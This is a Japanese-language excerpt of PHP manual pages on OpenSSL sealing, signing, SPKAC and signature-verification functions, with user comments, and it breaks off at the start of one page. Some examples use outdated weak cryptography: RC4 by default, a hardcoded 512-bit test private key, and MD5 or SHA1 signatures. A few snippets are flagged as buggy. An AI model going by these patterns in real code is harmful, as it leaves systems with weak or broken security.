データをシール(暗号化)する

  • ≪ openssl_random_pseudo_bytes
  • openssl_sign ≫
  • PHP Manual
  • OpenSSL 関数
  • データをシール(暗号化)する

openssl_seal

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_seal — データをシール(暗号化)する

説明

openssl_seal ( string $data , string &$sealed_data , array &$encrypted_keys , array $public_key , string $cipher_algo , string &$iv = null ) : int|false

openssl_seal() は、ランダムに生成された秘密鍵 および指定した cipher_algo を使用して data をシール(暗号化) します。このキーは、public_key を ID とする 公開鍵で暗号化されます。 それぞれの暗号化されたキーは encrypted_keys で返されます。 これは、暗号化されたデータを複数の受信者に 送信できることを意味します（この際、各受信者は送信側に公開鍵を 提供します）。各受信者は、暗号化されたデータとその受信者の 公開鍵で暗号化されたエンベロープキーを受け取る必要があります。

パラメータ

data

シールするデータ。

sealed_data

シール済みのデータ。

encrypted_keys

暗号化したキーの配列。

public_key

公開鍵を含んだ OpenSSLAsymmetricKey クラスのインスタンスの配列。

cipher_algo

暗号化方式

警告

デフォルト値 ('RC4') はセキュアでない値です。 明示的にセキュアな暗号化方式を指定することを強く推奨します。

iv

初期化ベクトル。

返り値

成功時にシール(暗号化)されたデータの長さ、エラー時に false を返します。成功時には、暗号化されたデータが sealed_data に、エンベロープキーが encrypted_keys に返されます。

変更履歴

バージョン | 説明
8.0.0 | public_key は、 OpenSSLAsymmetricKey クラスのインスタンスの配列を受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースの配列を受け入れていました。
8.0.0 | cipher_algo は、オプションではなくなりました。
8.0.0 | iv は、nullable になりました。

例

例1 openssl_seal() の例

<?php
// $data には、暗号化されるデータが含まれていると仮定

// 受信者の公開鍵を取得し、使用可能にする
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// 2 番目の受信者についても同様
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// メッセージを暗号化。$pk1 および $pk2 の所有者のみが、$sealed を
// データをそれぞれ $ekeys[0] および $ekeys[1] で復号化することが
// 可能
openssl_seal($data, $sealed, $ekeys, array($pk1, $pk2));

// キーをメモリから開放する
openssl_free_key($pk1);
openssl_free_key($pk2);
?>

参考

  • openssl_open() - シール(暗号化)されたデータをオープン(復号)する

User Contributed Notes

Dominik M. 01-Oct-2020 12:58
Please note that openssl_seal() cannot be used for EC encryption.
Took me literally two hours to find out because the OpenSSL documentation is so bad.
amer.alhabsi AT gmail DOT com 28-May-2016 07:58
while the default is using RC4, it is possible to use other more secure algorithms. These are specified as the fifth parameter. Also, one needs to add an initialization vector (random bytes). Eg.

<?php
    $data = "This is top secret.";
    // fetch public keys for our recipients, and ready them
    $cert = file_get_contents('./cert.pem');

    $pk1 = openssl_get_publickey($cert);
    $iv = openssl_random_pseudo_bytes(32);
    openssl_seal($data, $sealed, $ekeys, array($pk1), "AES256", $iv);

    // free the keys from memory
    openssl_free_key($pk1);
    echo base64_encode($sealed);
?>
bowfingermail at gmx dot net 24-Oct-2015 02:52
According to several sources (e.g. crypto101.io or Wikipedia) RC4 is not safe and not supposed to be used anymore.
So, shouldn't openssl_seal use another stream cipher in place of RC4?
hfuecks at nospam dot org 29-Oct-2007 07:44
openssl_seal() can work well when you need to pass data securely to other platforms / languages. What openssl_seal() does is;

1. Generate a random key
2. Encrypt the data symmetrically with RC4 using the random key
3. Encrypt the random key itself with RSA using the public key / certificate
4. Returns the encrypted data and the encrypted key

So to decrypt the steps are simply;

1. Decrypt the key using RSA and your private key
2. Decrypt the data using RC4 and the decrypted key

The trickiest part may be figuring out how handle the private key - BouncyCastle ( http://www.bouncycastle.org/ ) provides a PEMReader for Java and C# while Not Yet commons-ssl ( http://juliusdavies.ca/commons-ssl/ ) has a KeyStoreBuilder to build Java keystores out of a PEM certificate.

A complete example in Java is described at http://blog.local.ch/archive/2007/10/29/openssl-php-to-java.html
devel@no-spam 15-Jun-2005 06:20
"seals (encrypts) data by using RC4 with a randomly generated secret key"
It should be noted that the randomly generated secret key is 128 bits long (openssl: EVP_rc4(void):  RC4 stream cipher. This is a variable key length cipher with default key length 128 bits.)


署名を生成する

  • ≪ openssl_seal
  • openssl_spki_export_challenge ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名を生成する

openssl_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_sign — 署名を生成する

説明

openssl_sign ( string $data , string &$signature , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , string|int $algorithm = OPENSSL_ALGO_SHA1 ) : bool

openssl_sign() は、指定した data の署名を作ります。 private_key で指定した秘密鍵を使用して、暗号のデジタル署名を生成します。 data 自体は暗号化されないことに注意してください。

パラメータ

data

署名したいデータの文字列。

signature

成功した場合、署名が signature に格納されます。

private_key

OpenSSLAsymmetricKey - openssl_get_privatekey() が返す鍵。

string - PEM フォーマットの鍵。

algorithm

int - いずれかの 署名アルゴリズム。

string - openssl_get_md_methods() が返す文字列 ("sha256WithRSAEncryption" や "sha384" など)。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

例

例1 openssl_sign() の例

<?php
// $data に署名するデータが含まれていると仮定

// ファイルから秘密鍵を取得して準備
$pkeyid = openssl_pkey_get_private("file://src/openssl-0.9.6/demos/sign/key.pem");

// 署名を計算
openssl_sign($data, $signature, $pkeyid);

// メモリからキーを開放する
openssl_free_key($pkeyid);
?>

例2 openssl_sign() の例

<?php
// 署名したいデータ
$data = 'my data';

// 新しい秘密鍵と公開鍵を作成
$new_key_pair = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
openssl_pkey_export($new_key_pair, $private_key_pem);

$details = openssl_pkey_get_details($new_key_pair);
$public_key_pem = $details['key'];

// 署名を作成
openssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA256);

// それらを保存
file_put_contents('private_key.pem', $private_key_pem);
file_put_contents('public_key.pem', $public_key_pem);
file_put_contents('signature.dat', $signature);

// 署名を検証
$r = openssl_verify($data, $signature, $public_key_pem, "sha256WithRSAEncryption");
var_dump($r);
?>

参考

  • openssl_verify() - 署名を検証する

User Contributed Notes

Chris Kistner 20-Jul-2010 05:53
The list of Signature Algorithms (constants) is very limited! Fortunately the newer versions of php/openssl allow you to specify the signature algorithm as a string.

You can use the 'openssl_get_md_methods' method to get a list of digest methods. Only some of them may be used to sign with RSA private keys.

Those that can be used to sign with RSA private keys are: md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha512

Here's the modified Example #1 with SHA-512 hash:
<?php
// $data is assumed to contain the data to be signed

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// compute signature with SHA-512
openssl_sign($data, $signature, $pkeyid, "sha512");

// free the key from memory
openssl_free_key($pkeyid);
?>
edmarw at yahoo dot com 04-Sep-2007 09:22
This may help if you just want a real-simple private/public key pair:

<?php

$data = "Beeeeer is really good.. hic...";

// You can get a simple private/public key pair using:
// openssl genrsa 512 >private_key.txt
// openssl rsa -pubout <private_key.txt >public_key.txt

// IMPORTANT: The key pair below is provided for testing only.
// For security reasons you must get a new key pair
// for production use, obviously.

$private_key = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6zxqlVzz0wy2j4kQVUC4Z
RZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQJAL151ZeMKHEU2c1qdRKS9
sTxCcc2pVwoAGVzRccNX16tfmCf8FjxuM3WmLdsPxYoHrwb1LFNxiNk1MXrxjH3R
6QIhAPB7edmcjH4bhMaJBztcbNE1VRCEi/bisAwiPPMq9/2nAiEA3lyc5+f6DEIJ
h1y6BWkdVULDSM+jpi1XiV/DevxuijMCIQCAEPGqHsF+4v7Jj+3HAgh9PU6otj2n
Y79nJtCYmvhoHwIgNDePaS4inApN7omp7WdXyhPZhBmulnGDYvEoGJN66d0CIHra
I2SvDkQ5CmrzkW5qPaE2oO7BSqAhRZxiYpZFb5CI
-----END RSA PRIVATE KEY-----
EOD;
$public_key = <<<EOD
-----BEGIN PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDiE2+Xi/WnO+s120NiiJhNyIButVu6
zxqlVzz0wy2j4kQVUC4ZRZD80IY+4wIiX2YxKBZKGnd2TtPkcJ/ljkUCAwEAAQ==
-----END PUBLIC KEY-----
EOD;

$binary_signature = "";

// At least with PHP 5.2.2 / OpenSSL 0.9.8b (Fedora 7)
// there seems to be no need to call openssl_get_privatekey or similar.
// Just pass the key as defined above
openssl_sign($data, $binary_signature, $private_key, OPENSSL_ALGO_SHA1);

// Check signature
$ok = openssl_verify($data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #1: ";
if ($ok == 1) {
    echo "signature ok (as it should be)\n";
} elseif ($ok == 0) {
    echo "bad (there's something wrong)\n";
} else {
    echo "ugly, error checking signature\n";
}

$ok = openssl_verify('tampered'.$data, $binary_signature, $public_key, OPENSSL_ALGO_SHA1);
echo "check #2: ";
if ($ok == 1) {
    echo "ERROR: Data has been tampered, but signature is still valid! Argh!\n";
} elseif ($ok == 0) {
    echo "bad signature (as it should be, since data has beent tampered)\n";
} else {
    echo "ugly, error checking signature\n";
}

?>
adam dot mansfeld at gmail dot com 19-Oct-2005 12:50
Hello,

the fourth parameter 'signature_alg' to choose the signature algorithm can be one of:

OPENSSL_ALGO_SHA1
OPENSSL_ALGO_MD5
OPENSSL_ALGO_MD4
OPENSSL_ALGO_MD2

Just for the case that somebody needs this.

Regards


署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする

  • ≪ openssl_sign
  • openssl_spki_export ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする

openssl_spki_export_challenge

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export_challenge — 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする

説明

openssl_spki_export_challenge ( string $spki ) : string|false

エンコードされた署名済みの公開鍵とチャレンジから、チャレンジをエクスポートします。

パラメータ

spki

有効な署名済みの公開鍵とチャレンジ

返り値

関連するチャレンジを文字列で返します。失敗した場合は false を返します。

エラー / 例外

不正な引数が spki に渡された場合、 E_WARNING レベルのエラーが発生します。

例

例1 openssl_spki_export_challenge() の例

関連するチャレンジの文字列を取り出します。 失敗した場合は NULL になります。

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $spkac));
?>

例2 openssl_spki_export_challenge() を使い、<keygen> から取り出す例

<keygen> 要素から発行された、関連するチャレンジ文字列を取り出します。

<?php
$challenge = openssl_spki_export_challenge(preg_replace('/SPKAC=/', '', $_POST['spkac']));
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参考

  • openssl_spki_new() - 署名された公開鍵とチャレンジを新規に作成する
  • openssl_spki_verify() - 署名済みの公開鍵とチャレンジを検証する
  • openssl_spki_export() - 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする
  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

There are no user contributed notes for this page.


署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする

  • ≪ openssl_spki_export_challenge
  • openssl_spki_new ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする

openssl_spki_export

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_export — 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする

説明

openssl_spki_export ( string $spki ) : string|false

署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートします。

パラメータ

spki

有効な署名済みの公開鍵とチャレンジ

返り値

関連するPEMフォーマットの公開鍵を返します。 失敗した場合は false を返します。

エラー / 例外

不正な引数が spki に渡された場合、 E_WARNING レベルのエラーが発生します。

例

例1 openssl_spki_export() の例

関連するPEMフォーマットの公開鍵を取り出します。 失敗した場合は NULL になります。

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');
$pubKey = openssl_spki_export(preg_replace('/SPKAC=/', '', $spkac));

if ($pubKey) {
    echo $pubKey;
}
?>

例2 openssl_spki_export() を使い、<keygen> から取り出す例

<keygen> 要素から発行された、関連するPEMフォーマットの公開鍵を取り出します。

<?php
$spkac = openssl_spki_export(preg_replace('/SPKAC=/', '', $_POST['spkac']));
if ($spkac != NULL) {
    echo $spkac;
} else {
    echo "Extraction of pub key failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参考

  • openssl_spki_new() - 署名された公開鍵とチャレンジを新規に作成する
  • openssl_spki_verify() - 署名済みの公開鍵とチャレンジを検証する
  • openssl_spki_export_challenge() - 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする
  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

There are no user contributed notes for this page.


署名された公開鍵とチャレンジを新規に作成する

  • ≪ openssl_spki_export
  • openssl_spki_verify ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名された公開鍵とチャレンジを新規に作成する

openssl_spki_new

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_new — 署名された公開鍵とチャレンジを新規に作成する

説明

openssl_spki_new ( OpenSSLAsymmetricKey $private_key , string $challenge , int $digest_algo = OPENSSL_ALGO_MD5 ) : string|false

指定されたハッシュアルゴリズムを用いて、署名された公開鍵とチャレンジを新規に作成します。

パラメータ

private_key

private_key には、事前に openssl_pkey_new() で作成した （もしくは他の openssl_pkey 関数で得た）秘密鍵を 設定しなければなりません。鍵の対応する公開部分は、 CSR に署名するために使用されます。

challenge

チャレンジは SPKAC と関連付けられます。

digest_algo

ダイジェストアルゴリズム。openssl_get_md_method() を参照ください。

返り値

署名された公開鍵とチャレンジ文字列を返し、失敗したときは false を返します。

エラー / 例外

未知の署名アルゴリズムが digest_algo パラメータを介して渡された場合、 E_WARNING レベルのエラーを発行します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。

例

例1 openssl_spki_new() の例

既定のダイジェスト (MD5) で、署名された公開鍵とチャレンジを新規に作成します。

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'testing');

if ($spkac !== NULL) {
    echo $spkac;
} else {
    echo "SPKAC generation failed";
}
?>

上の例の出力は、 たとえば以下のようになります。

MIICRzCCAS8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDM3V3sS4o4
mB9dczziRnjGAmSp+JwPrHoYMAFGvDNmZGyiWfU586X4BKs++BAj7e/FsAfno0Hd
hN9FwpCNFSox30L03nQvLYJE7f/WqigwBeMRT7Op/xvFks4sT70xP2HRYv4KqP9a
WRcKU6cFH8VxhFhqM2txEIxZKdFLaL28yT7bEDmcglf4JLDdgNMb9rET1dkgtKE6
dOaJHPGjf1uvnOH4YwkQr7n4sLUR3Kdbh0ZJAFuQVDZulo+LLzxBBkqJJcB6FhF+
oXCdHTKZnqAhpWDz+NXYytAmevab6IYm5TWPWsJUv1YKJA5lg2mXbbloIZlN9Mgc
i9fi03bdw+crAgMBAAEWB3Rlc3RpbmcwDQYJKoZIhvcNAQEEBQADggEBALyUvP/o
pPSoWBlorFyZ2RnGwKf9qMpE0q2IJP7G3oDR4LyK/m933DUiZ+YnqThrH/CWb4Ek
y5I3OCyl3S4wCuU1ibZZwDVwYShr5ELp0J9PEf7qMQZOhNsizoC7k+Czb2xB6hYW
sKfsfTKm3cXBtH3fdgc/Z1Z7VSWnAzYo38snqm72NTf5yFRnrQdphNNXi+kn1zHA
lxXRyFDXHOcYsOnwAWfyXFA4QDHQ0ezz0UoCY8gJXovcZb4GRYqOLUAsF2HcNboy
29WN8VqE29sL9QxVZFlwMcqyoLcNnyw38GvNvAGqSvzzbnEFP2MAQXJVe0H0hdp/
MML5G2iNVgNozAo=

参考

  • openssl_spki_verify() - 署名済みの公開鍵とチャレンジを検証する
  • openssl_spki_export_challenge() - 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする
  • openssl_spki_export() - 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする
  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

julian at NOSPAM dot developer-heaven dot de 18-Jun-2016 05:50
The usage of openssl_pkey_new() in the example above is wrong.
openssl_pkey_new() requires an array as first parameter

Working example for openssl_pkey_new():
http://php.net/manual/de/function.openssl-pkey-new.php#111769


署名済みの公開鍵とチャレンジを検証する

  • ≪ openssl_spki_new
  • openssl_verify ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名済みの公開鍵とチャレンジを検証する

openssl_spki_verify

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_spki_verify — 署名済みの公開鍵とチャレンジを検証する

説明

openssl_spki_verify ( string $spki ) : bool

与えられた公開鍵とチャレンジを検証します。

パラメータ

spki

有効な署名済みの公開鍵とチャレンジ

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

不正な引数が spki に渡された場合、 E_WARNING レベルのエラーが発生します。

例

例1 openssl_spki_verify() の例

既存の署名済み公開鍵とチャレンジを検証します。

<?php
$pkey = openssl_pkey_new('secret password');
$spkac = openssl_spki_new($pkey, 'challenge string');

if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $spkac))) {
    echo $spkac;
} else {
    echo "SPKAC validation failed";
}
?>

例2 <keygen> から openssl_spki_verify() を使う例

<keygen> 要素から発行された、既存の署名済み公開鍵とチャレンジを検証します。

<?php
if (openssl_spki_verify(preg_replace('/SPKAC=/', '', $_POST['spkac']))) {
    echo $spkac;
} else {
    echo "SPKAC validation failed";
}
?>
<keygen name="spkac" challenge="challenge string" keytype="RSA">

参考

  • openssl_spki_new() - 署名された公開鍵とチャレンジを新規に作成する
  • openssl_spki_export_challenge() - 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする
  • openssl_spki_export() - 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする
  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得
  • openssl_csr_new() - CSR を作成する
  • openssl_csr_sign() - CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する

User Contributed Notes

neat at neato dot com 25-Jun-2020 10:40
The challenge is not how to very a "trick". It is used as a partial non-repudiation method.

The idea was the challenge could be extracted from the base64 encoded ASN.1 PKCS#1 bits provided from the 'keygen' element.

The SPKAC is a form of CSR which if the right about of information such as the commonName, emailAddress, countryName, stateOrProvinceName, localityName et al., a signed x509 could generated and provided to the requestor.

This would then be installed in the browser and if the webserver was configured to accept client x509 certificates, it would be used in lieu of a password for authentication.

A recommendation was to use the 'challenge' as a form of non-repudiation in the event someone else was on your keyboard. If the application required it could prompt you for the challenge and compare it to a hashed version it stored upon the initial SPKAC process.

Hope that helps clear it up.
carloshlfzanon at gmail dot com 26-Apr-2017 08:54
This openssl_spki_* funcs are very usefull to use with <keygen/> tag in html5.

Example:

<?php
session_start();

// form submitted... (?)
if(isset($_POST['security']))
{
    // If true, the send from <keygen/> is valid and you can
    // test the challenge too
    if(openssl_spki_verify($_POST['security']))
    {
        // Gets challenge string
        $challenge = openssl_spki_export_challenge($_POST['security']);

        // If true... you are not trying to trick it.
        // If user open 2 windows to prevent data lost from a "mistake" or him just press "back" button
        //  and re-send last data... you can handle it using something like it.
        if($challenge == $_SESSION['lastForm'])
        {
            echo 'Ok, this one is valid.', '<br><br>';
        }
        else
        {
            echo 'Nice try... nice try...', '<br><br>';
        }
    }

}

// If you open two window, the challenge won't match!
$_SESSION['lastForm'] = hash('md5', microtime(true));

?>

<!DOCTYPE html>
<html>
<body>

<form action="/index.php" method="post">
  Encryption: <keygen name="security" keytype="rsa" challenge="<?php echo $_SESSION['lastForm']; ?>"/>
  <input type="submit">
</form>

</body>
</html>


署名を検証する

  • ≪ openssl_spki_verify
  • openssl_x509_check_private_key ≫
  • PHP Manual
  • OpenSSL 関数
  • 署名を検証する

openssl_verify

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_verify — 署名を検証する

説明

openssl_verify ( string $data , string $signature , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key , string|int $algorithm = OPENSSL_ALGO_SHA1 ) : int|false

openssl_verify() は、 public_key が指す公開鍵を使用し、 指定した data に関して signature が正しいことを確認します。 署名が正しいと判定されるためには、 その公開鍵が署名の際に使用した秘密鍵に対応していることを必要とします。

パラメータ

data

署名を作成するときに使ったデータの文字列。

signature

生のバイナリ文字列。openssl_sign() もしくはそれと同等の手段を使って生成したもの。

public_key

OpenSSLAsymmetricKey - openssl_get_publickey() が返す鍵。

string - PEM フォーマットの鍵 ("-----BEGIN PUBLIC KEY----- MIIBCgK..." など)。

algorithm

int - いずれかの 署名アルゴリズム。

string - openssl_get_md_methods() が返す文字列 ("sha1WithRSAEncryption" や "sha512" など)。

返り値

署名 (signature) が正しい場合に 1、正しくない場合に 0、 エラーの場合に -1 または false を返します。

変更履歴

バージョン | 説明
8.0.0 | public_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

例

例1 openssl_verify() の例

<?php
// $data および $signature はデータおよび署名が含まれていると仮定

// 認証局から公開鍵を取得し、使用可能にする
$pubkeyid = openssl_pkey_get_public("file://src/openssl-0.9.6/demos/sign/cert.pem");

// 署名が正しいかどうかを確認
$ok = openssl_verify($data, $signature, $pubkeyid);
if ($ok == 1) {
    echo "正しいです";
} elseif ($ok == 0) {
    echo "正しくありません";
} else {
    echo "署名を確認する際にエラーが発生しました";
}
// メモリからキーを開放
openssl_free_key($pubkeyid);
?>

例2 openssl_verify() の例

<?php
// 署名したいデータ
$data = 'my data';

// 新しい秘密鍵と公開鍵を作成
$private_key_res = openssl_pkey_new(array(
    "private_key_bits" => 2048,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$details = openssl_pkey_get_details($private_key_res);
$public_key_res = openssl_pkey_get_public($details['key']);

// 署名を作成
openssl_sign($data, $signature, $private_key_res, "sha256WithRSAEncryption");

// 署名を検証
$ok = openssl_verify($data, $signature, $public_key_res, OPENSSL_ALGO_SHA256);
if ($ok == 1) {
    echo "valid";
} elseif ($ok == 0) {
    echo "invalid";
} else {
    echo "error: ".openssl_error_string();
}
?>

参考

  • openssl_sign() - 署名を生成する

User Contributed Notes

peter dot labos at gmail dot com 23-Jan-2018 02:10
openssl_verify() is populating openssl_error_string() even on false.

When openssl_verify() returns 0, openssl_error_string() is populated with 1.
I spent lot of time to understand, while my next call to openssl was failing with checks for error.

<?php
$c = file_get_contents($filename);
$publicKey = openssl_pkey_get_public($c);
$result = openssl_verify('freedom', 'someirrelevantnosign', $publicKey);

$error = "";

while ($msg = openssl_error_string() !== false) {
    $error .= $msg;
}

if (!empty($error)) {
    echo $error; // 1
}
attila dot m dot magyar at gmail dot com 26-Aug-2014 09:37
mikey at badpenguins dot com -- validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()
jeremie dot gomez at gmail dot com 31-Aug-2011 11:08
You can actually use the public key as third parameter and not the certificate.

If you can't make it work, make sure that :

1) Your public key is well formatted. It seems that it must have the ----BEGIN PUBLIC KEY---- and ----END PUBLIC KEY----

2) Your signature is in binary format. You can use the php base64_decode for this.
mikey at badpenguins dot com 06-Jun-2010 09:04
I spent days scouring the php openssl documentation trying to figure out how to do what sounds like a simple task - given two PEM encoded certificates, is one the signer of the other?  Nowhere in the openssl_verify() documentation or comments is it explained where to obtain the signature of an existing certificate.  The openssl_x509_parse() function looked promising, but it is an unstable API that may change.

I had to write my own code to determine if one cert signed another, it is located here: http://badpenguins.com/source/misc/isCertSigner.php?viewSource

In a nutshell here is what I learned...

The signature data in a signed X.509 certificate contains DER formatted data about the signature that is encrypted with the signers public key.  The data contains a hash of the original subject certificate and information about what encryption algorithm was used to create the signature.

So you need to get this signature data and a copy of the original certificate with the issuer and signature sequences removed.  Hash a copy of the original certificate (sans issuer/signature sequences) with the same algorithm the issuer used and if the hashes match, you have the issuer cert that signed the certificate.
Stiv 02-Mar-2006 06:34
I've finally found a way to verify signature. Sample in the documentation doesn't work. Code bellow DOES work :)

<?php
// $data is assumed to contain the data to be signed

// fetch certificate from file and ready it
$fp = fopen("path/file.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);

// state whether signature is okay or not
// use the certificate, not the public key
$ok = openssl_verify($data, $signature, $cert);
if ($ok == 1) {
    echo "good";
} elseif ($ok == 0) {
    echo "bad";
} else {
    echo "ugly, error checking signature";
}
?>
steve dot venable at lmco dot com 30-May-2002 12:36
A note about the openssl_verify() (and some of the other functions).  The public key comes from a certificate in any of the support formats (as the example shows, use openssl_get_publickey() to get the resource id).  But after some trial and error I found the signature string MUST BE BINARY.  While no error occurs, passing a base64-formatted signature string (PEM format?), you simply get a mismatch.  When I did the base64 decode myself, the verify returned a match (return value 1).  You can simply drop the begin/end lines and take the output of the 'base64_decode()' function.
meint dot post at bigfoot dot com 09-Jun-2001 11:56
Anbybody trying to get a Win32 CryptoAPI based digital signature component to work with the openssl_verify() function should be aware that the CryptoAPI PKCS1 (RSA) method uses bytes in reverse order while the openssl_verify() method expects a correctly formatted PKCS1 digital signature (as should be). I learned this the hard way and it took me some time to dig this out. A simple solution in VBScript to reverse the byte order:

N = Len(Blob.Hex)

' reverse bytes in the signature using Hex format
For i = 1 To N - 1 Step 2
    s = Mid(Blob, i, 2) & s
Next

s contains the digital signature in reverse order. Blob is an arbitrary binary container.

Send the signature off in Hex format and use a hex2bin method in PHP to convert to the correct format for openssl_verify(), i.e.

function hex2bin($data) {

    $len = strlen($data);
    return pack("H" . $len, $data);

}

That's it, hope it helps out. BTW I used ASPEncrypt to toy around with on Win32 platform. Works only with Internet Explorer but you could also use a Java applet and have none of the abovementioned problems :-)


秘密鍵が証明書に対応するかを確認する

  • ≪ openssl_verify
  • openssl_x509_checkpurpose ≫
  • PHP Manual
  • OpenSSL 関数
  • 秘密鍵が証明書に対応するかを確認する

openssl_x509_check_private_key

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_check_private_key — 秘密鍵が証明書に対応するかを確認する

説明

openssl_x509_check_private_key ( OpenSSLCertificate|string $certificate , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key ) : bool

private_key が certificate に対応する秘密鍵かどうかを調べます。

警告

この関数は private_key が秘密鍵かどうかをチェックしません。 単に、公開されている材料 (例: RSA 鍵の exponent や modulus) かつ/または キーペアのキーのパラメータ (例: ECキー の EC params) を比較しているだけです。

これはたとえば、公開鍵を private_key に与えても、 関数が true を返す可能性があるということです。

パラメータ

certificate

証明書。

private_key

秘密鍵。

返り値

private_key が certificate に対応する秘密鍵の場合に true、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 型のリソースを受け入れていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

tomsie at toms dot ie 05-Dec-2017 01:51
This function DOES return TRUE if the key has a passphrase, you just need to set up the data in such a way that the function can understand it. It is not documented here.

This error message led me to the solution:

PHP Warning:  openssl_x509_check_private_key(): key array must be of the form array(0 =&gt; key, 1 =&gt; phrase)

So this works:

$certFile = file_get_contents('cert.crt');
$keyFile = file_get_contents('cert.key');
$keyPassphrase = "password1234";
$keyCheckData = array(0=>$keyFile,1=>$keyPassphrase);
$result = openssl_x509_check_private_key($certFile,$keyCheckData);
jared at enhancesoft dot com 24-Apr-2015 08:58
This function will return FALSE if the private key requires a pass phrase.


証明書が特定の目的に使用可能かどうか確認する

  • ≪ openssl_x509_check_private_key
  • openssl_x509_export_to_file ≫
  • PHP Manual
  • OpenSSL 関数
  • 証明書が特定の目的に使用可能かどうか確認する

openssl_x509_checkpurpose

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_checkpurpose — 証明書が特定の目的に使用可能かどうか確認する

説明

